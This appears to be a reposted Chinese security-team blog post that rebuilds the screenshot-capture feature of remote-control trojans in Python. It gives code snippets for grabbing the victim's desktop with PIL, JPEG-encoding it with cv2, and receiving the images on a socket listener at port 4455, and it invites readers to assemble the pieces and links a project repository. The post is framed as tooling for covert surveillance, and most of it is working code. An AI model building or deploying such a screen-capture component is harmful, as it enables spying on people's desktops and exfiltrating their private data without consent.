工具开发|桌面监控获取工具

admin 2022年4月10日00:11:24评论48 views字数 1281阅读4分16秒阅读模式


工具开发|桌面监控获取工具

点击上方蓝字关注我们

0x01 简述

近期因为没什么事情,就想拆分下常用的工具功能再用代码来实现该功能。用这种方法达到之所以然的效果,同时独立出的工具后续也方便做一些小更改。

0x02 拆分远控之桌面截图获取

在某些非桌面实时远控木马中都存在用户桌面截取功能,以此来获取到图形化用户的桌面情况。桌面截图工具的运行流程如下:

1.受控端截取桌面 2.图片数据编码3.数据传输4.控制端获取数据5.控制端解析数据S

用python实现以上要求需要的模块如下:

socketPILsocketcv2numpystruct

对于数据传输有下面几种传输方式

代码中利用socket传输邮箱接收图片社交机器人接收图片

下文主要讲的是socket传输到服务端的代码

0x03主要代码

屏幕截取:

from PIL import ImageGrab
p = ImageGrab.grab()

编码部分(转化为socket可传输):

import cv2import numpy as np
img1 = np.asarray(p)data = cv2.resize(img1, dsize=(1000,668))#这一步主要是为了裁剪图片大小_, imgdata = cv2.imencode(".jpg", data)#将np数组根据jpg进行编码

接收部分:

import socket
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)host = '0.0.0.0'port = 4455socket_server.bind((host, port))socket_server.listen(5)clientsocket, addr = socket_server.accept()img_by=clientsocket.recv(10240)

解码部分(socket接收后运行):

import cv2import numpy as npimg_data=clientsocket.recv(10240)img_decode=np.frombuffer(img_by,dtype=np.uint8)img= cv2.imdecode(img_decode,cv2.IMREAD_COLOR)

存储图片:

import cv2import time
cv2.imwrite(str(time.time())+".jpg",cv2.cvtColor(img,cv2.COLOR_BGR2RGB))cv2.waitKey(90)

0x04 问题总结

1.为什么要编码后再传输?答:两次编码都是为了转换成socket可以传输的格式2.cv2.COLOR_BGR2RGB是什么意思?答:ImageGrab.grab()获取的图像是RGB格式的,但是在后面的操作中变成BGR像素格式的array,所以保存的时候要重新转换为RGB格式

代码和原理就是上面这些,师傅们有兴趣可以拼接一下试试。项目地址:https://github.com/Tsojan/screenshot

工具开发|桌面监控获取工具

原文始发于微信公众号(灼剑安全团队):工具开发|桌面监控获取工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月10日00:11:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   工具开发|桌面监控获取工具http://cn-sec.com/archives/633331.html

发表评论

匿名网友 填写信息